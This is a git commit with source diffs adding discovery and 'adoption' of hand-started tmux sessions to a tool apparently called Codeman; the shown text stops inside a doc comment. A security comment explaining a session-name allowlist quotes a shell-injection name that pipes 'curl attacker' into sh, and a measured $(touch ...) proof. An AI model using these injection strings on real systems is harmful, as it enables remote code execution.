feat(adopt): adopt tmux sessions a human started, in all three locations

A tmux session someone opened by hand (`tmux new -s work`, then `claude`, or
just a shell) is invisible to Codeman: it lives on the default socket, not the
instance-scoped one Codeman owns. The home screen now lists those, and one
click wraps one in a Codeman tab. Local, in-container and over-ssh all work.

The shape is a WRAPPER session, not a direct attach: adoption creates an
ordinary `codeman-<8hex>` session on our own socket whose pane runs the
attach. That makes "detach, never kill the foreign session" structural rather
than a matter of discipline — `killSession` can only ever reach our own
wrapper, so no shape of caller bug reaches the foreign server. View reclamation
differs by location: local relies on client death and ssh on SIGHUP, but a
`docker exec` does NOT die with its client, so the in-container view has to be
reclaimed explicitly on kill or every adoption leaks one.

Measured facts, recorded in the code comments:

- A grouped session (`new-session -t`) buys `status off` and an independent
  current window. It does NOT buy an independent size. A window is one object
  with one size and a group shares it: on tmux 3.3a a bare attach and a grouped
  attach both shrink a 200x49 target to 80x23. Only `window-size largest` holds
  it, and that is a shared window option which survives our detach, so setting
  it would permanently rewrite the owner's configuration. Left unset.
- Session names come from other people, while the local launch chain ends in
  `bash -c` + `JSON.stringify`, which escapes neither `$` nor backticks — the
  outer shell performs command substitution before the inner single quotes are
  considered (verified: both substitutions inside the inner quotes ran). So
  session names and socket paths go through a character allowlist and are
  dropped at DISCOVERY, which means a non-conforming candidate never gets an
  id and the adopt endpoint fails closed when it re-resolves.
- `pane_current_command` is `node` for both claude and codex, so the mode can
  only come from a bounded process-tree walk of `pane_pid`'s argv; anything
  unrecognized is treated as a shell.

An adopted session has to say no to every assumption that Codeman owns the
pane: respawn, Ralph, the orchestrator and hook waits all refuse. The hook
check runs BEFORE the mode check, because adoption asks who launched the
process and no mode can vouch for a workspace Codeman never touched. `paneExit`
is forced to unknown, since the pane runs `tmux attach` rather than the agent
and its exiting with 0 only means the connection ended. Reboot restore refuses
too: all Codeman ever had was an attach command, and replaying it would build a
connection to a foreign session a reboot has almost certainly taken with it,
while presenting whatever it lands on as a session we restored.

Adoption is admin-only under multi-user mode: adopting someone's shell is
equivalent to arbitrary host execution. Discovery is read-only, never creates a
session, and degrades to an empty list whenever a probe cannot reach its target.
This commit is contained in:
d fei committed 2026-09-29 18:01:47 -07:00
1 parent 848ab48b0a
commit 245ee68c7c
27 files changed
+2622 -35

No files matched your search

+38
View File
@@ -0,0 +1,38 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control — a discovery walk with no ceiling
* is an unbounded loop over data someone else produces, so sockets and panes are
* both hard-capped. Second, an ssh handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/** Max tmux sockets inspected per location, oldest-first by directory order. */
export const FOREIGN_MAX_SOCKETS = 16;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
+325
View File
@@ -0,0 +1,325 @@
/**
* @fileoverview Runs the foreign-tmux probe at the three locations Codeman
* already knows how to reach: this host, inside a container, and across ssh.
*
* All the judgement lives in `foreign-tmux.ts` (pure). This module is only
* transport + caching + the promise that it never throws.
*
* ## Cost policy
*
* The home screen shows LOCAL results automatically, so a local scan runs on a
* TTL cache: N browser tabs polling every few seconds still trigger at most one
* scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only —
* opening the home page must never fan out one ssh connection per saved host.
*
* ## ⚠️ The probe must not cross an extra shell
*
* The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
* expand. Local and docker therefore spawn with an argv array (`execFile`), where
* no outer shell exists to eat them first. Remote is the exception: the ssh
* command line is a string like every other ssh call in this codebase, so the
* script is wrapped in SINGLE quotes there — which is exactly why
* `buildForeignProbeScript()` may not contain one.
*
* This was measured, not reasoned: running the probe through `execSync` (which
* spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
* inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
* a machine that had three.
*
* @module foreign-tmux-discovery
*/
import { execFile, exec } from 'node:child_process';
import { promisify } from 'node:util';
import {
buildForeignProbeScript,
classifyForeignPaneMode,
foreignSessionId,
isAdoptableSessionName,
isAdoptableSocketPath,
isCodemanOwnedPane,
parseForeignProbeOutput,
} from './foreign-tmux.js';
import { buildDockerBaseArgs, shellescape } from './docker-hosts.js';
import { buildSshConnectionArgs, remoteSshTarget } from './remote-hosts.js';
import { readDockerCases, readDockerHosts } from './docker-hosts.js';
import { readRemoteHosts } from './remote-hosts.js';
import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
import { FOREIGN_CACHE_TTL_MS, FOREIGN_PROBE_MAX_BYTES, FOREIGN_PROBE_TIMEOUT_MS } from './config/foreign-tmux.js';
import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
const execFileAsync = promisify(execFile);
const execAsync = promisify(exec);
const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
const PROBE_OPTS = {
encoding: 'utf-8' as const,
timeout: FOREIGN_PROBE_TIMEOUT_MS,
maxBuffer: FOREIGN_PROBE_MAX_BYTES,
};
/**
* Turn one probe's stdout into candidates. Shared by all three transports, so a
* container's sessions and the host's are classified by identical rules.
*/
function candidatesFrom(
stdout: string,
location: ForeignTmuxSession['location'],
hostKey: string,
extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
notes?: string[]
): ForeignTmuxSession[] {
const probe = parseForeignProbeOutput(stdout);
const ownSocket = resolveTmuxSocketName();
const out: ForeignTmuxSession[] = [];
const seen = new Set<string>();
let unsafe = 0;
for (const pane of probe.panes) {
if (isCodemanOwnedPane(pane, ownSocket)) continue;
// ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
// on purpose: a name that cannot cross the launch chain safely never gets an
// id, so there is nothing for a caller to send. Adoption re-resolves through
// this same function, which makes the endpoint fail closed for free.
// See `isAdoptableSessionName` for the injection this prevents.
if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
unsafe += 1;
continue;
}
// One row per SESSION, not per pane: the first pane is the one we would land
// on, and a multi-pane session is still a single thing to adopt.
// \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
// treat this whole file as binary (no diff, no review), and the allowlists above
// already guarantee neither half can contain one.
const key = `${pane.socketPath}\u0000${pane.sessionName}`;
if (seen.has(key)) continue;
seen.add(key);
const classified = classifyForeignPaneMode(pane, probe);
out.push({
id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
location,
...extra,
socketPath: pane.socketPath,
sessionName: pane.sessionName,
windows: pane.windows,
attached: pane.sessionAttached,
createdAt: pane.sessionCreated * 1000,
mode: classified.mode,
command: classified.command,
workingDir: pane.paneCurrentPath,
});
}
if (unsafe && notes) {
notes.push(
`${unsafe} session(s) skipped: the tmux session name or socket path contains characters Codeman will not pass to a shell`
);
}
return out;
}
// ===========================================================================
// Local
// ===========================================================================
let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
/**
* Scan this host. TTL-cached and single-flight, because this is the one location
* the home screen polls on its own.
*/
export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const now = Date.now();
if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
if (localInFlight) return localInFlight;
localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
const notes: string[] = [];
let sessions: ForeignTmuxSession[] = [];
try {
// argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
// reach the inner sh intact (see @fileoverview).
const { stdout } = await execFileAsync('sh', ['-c', buildForeignProbeScript()], PROBE_OPTS);
sessions = candidatesFrom(stdout, 'local', 'local', {}, notes);
} catch {
// No tmux, no sockets, or a probe that timed out. "Nothing to adopt here"
// is the only honest answer and it is never an error to the caller.
notes.push('local: tmux probe produced no result');
}
const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
localCache = { at: Date.now(), result };
return result;
})().finally(() => {
localInFlight = null;
});
return localInFlight;
}
/** Drop the local cache so the next scan is real (used right after an adopt). */
export function invalidateForeignCache(): void {
localCache = null;
}
// ===========================================================================
// Docker
// ===========================================================================
/** Connection facts for one adoptable container, resolved from the registries. */
interface DockerTargetInfo {
hostId: string;
label: string;
containerName: string;
base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
}
function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
const byId = new Map(hosts.map((h) => [h.id, h]));
const out: DockerTargetInfo[] = [];
const seen = new Set<string>();
for (const c of cases) {
const container = c.container || `codeman-case-${c.name}`;
if (seen.has(container)) continue;
seen.add(container);
const host = byId.get(c.hostId);
out.push({
hostId: c.hostId,
label: host?.label || c.name,
containerName: container,
base: {
engine: host?.engine ?? 'docker',
context: host?.context,
daemonHost: host?.daemonHost,
},
});
}
return out;
}
/**
* Scan the containers behind the caller's docker cases. On demand only.
*
* Read-only by construction: one `docker exec` running the probe. Never inspects
* lifecycle, never starts anything — a stopped or missing container simply
* contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
* degrades to an empty list" rule.
*/
export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
const targets = dockerTargets(cases, hosts);
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
targets.map(async (t) => {
const [engine, ...baseFlags] = buildDockerBaseArgs(t.base);
try {
const { stdout } = await execFileAsync(
engine,
[...baseFlags, 'exec', t.containerName, 'sh', '-lc', buildForeignProbeScript()],
PROBE_OPTS
);
sessions.push(
...candidatesFrom(
stdout,
'docker',
t.containerName,
{ hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
notes
)
);
} catch {
notes.push(`docker ${t.containerName}: not running, no tmux, or engine unreachable`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Remote
// ===========================================================================
/**
* Scan saved ssh hosts. On demand only — this is the expensive one.
*
* ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
* probe crosses one extra shell and must be single-quoted. `shellescape` does
* that, and `buildForeignProbeScript()` is single-quote-free precisely so the
* escaping stays a wrap rather than a rewrite.
*/
export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
hosts.map(async (host) => {
const cmd = [...buildSshConnectionArgs(host), remoteSshTarget(host), shellescape(buildForeignProbeScript())].join(
' '
);
try {
const { stdout } = await execAsync(cmd, PROBE_OPTS);
sessions.push(...candidatesFrom(stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }));
} catch {
notes.push(`remote ${host.label}: unreachable, or no tmux`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Facade
// ===========================================================================
export interface ForeignDiscoveryRequest {
/** Always scanned (cheap, cached). */
local?: boolean;
/** Docker cases the CALLER may see — ownership filtering happens in the route. */
dockerCases?: DockerCase[];
/** Remote hosts the CALLER may see. */
remoteHosts?: RemoteHost[];
/** Skip the local TTL cache. */
force?: boolean;
}
/**
* One scan across the requested locations. Merges notes, never throws.
*
* The caller supplies the docker cases and remote hosts rather than this module
* reading the registries itself: which of them a user may see is an ownership
* question, and ownership belongs to the route layer.
*/
export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
const parts: ForeignDiscoveryResult[] = [];
if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
return {
sessions: parts.flatMap((p) => p.sessions),
scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
notes: parts.flatMap((p) => p.notes),
};
}
/** Re-read the caller-visible docker cases, for routes that only hold a username. */
export async function readAllDockerCases(): Promise<DockerCase[]> {
return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
}
/** Re-read the saved remote hosts. */
export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
}
+597
View File
@@ -0,0 +1,597 @@
/**
* @fileoverview Pure core for FOREIGN tmux sessions — the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts` — same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn —
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately — the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does — that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone) — it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and command substitution cannot live in this string: the local branch
* crosses `bash -c "..."`, where the OUTER shell expands it first. That is the
* same rule the docker launch chain states as "no command substitution", and the
* same trap that silently emptied `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_MAX_SOCKETS } from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7 — the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command — which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters — so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ` +
`tmux -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
}
/** Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal. */
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>` — leading spaces are how `ps -o pid=` pads.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, m[3] ?? '');
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock && sockets.length < FOREIGN_MAX_SOCKETS && !sockets.includes(sock)) sockets.push(sock);
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: fields[8] ?? '',
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures for the CLIs Codeman knows, most specific first.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. `dsh` needs a tighter rule than the rest:
* Debian ships an unrelated `dsh` (distributed shell), which is exactly the trap
* `deepseek-cli-resolver.ts` guards against with an identity probe.
*/
export const FOREIGN_CLI_SIGNATURES: ReadonlyArray<{ mode: SessionMode; test: RegExp }> = [
{ mode: 'claude', test: /(^|\/)claude(\s|$)|[/\\]\.?claude[/\\][^\s]*cli\.js|[/\\]bin[/\\]claude\b/ },
{ mode: 'codex', test: /(^|\/)codex(\s|$)|[/\\]bin[/\\]codex\b|[/\\]@openai[/\\]codex/ },
{ mode: 'opencode', test: /(^|\/)opencode(\s|$)|[/\\]bin[/\\]opencode\b/ },
{ mode: 'antigravity', test: /(^|\/)agy(\s|$)|[/\\]bin[/\\]agy\b|antigravity/ },
{ mode: 'gemini', test: /(^|\/)gemini(\s|$)|[/\\]bin[/\\]gemini\b/ },
{ mode: 'grok', test: /(^|\/)grok(\s|$)|[/\\]bin[/\\]grok\b/ },
{ mode: 'deepseek', test: /(^|\/)dsh(\s|$)|[/\\]bin[/\\]dsh\b|deepseek[-_]?harness/i },
{ mode: 'pi', test: /(^|\/)pi(\s|$)|[/\\]bin[/\\]pi\b/ },
];
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = matchSignature(own);
if (direct) return { mode: direct, command: truncate(own) };
const descendants = collectDescendants(pane.panePid, probe.byParent);
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = matchSignature(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = matchSignature(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
function matchSignature(argv: string): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
for (const sig of FOREIGN_CLI_SIGNATURES) {
if (sig.test.test(argv)) return sig.mode;
}
return null;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion — never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths — `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability — what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and the local launch chain
* ends at `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`. `JSON.stringify`
* escapes `"` and `\` — it does NOT escape `$` or a backtick — and the outer
* shell parses that string with those still live inside its double quotes. The
* inner single quotes this module adds do not help: the outer shell substitutes
* first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain — Unicode letters, digits,
* marks, spaces, and the punctuation people actually use — because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* tmux -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
* || exec tmux -S <sock> attach-session -r -t <target>
*
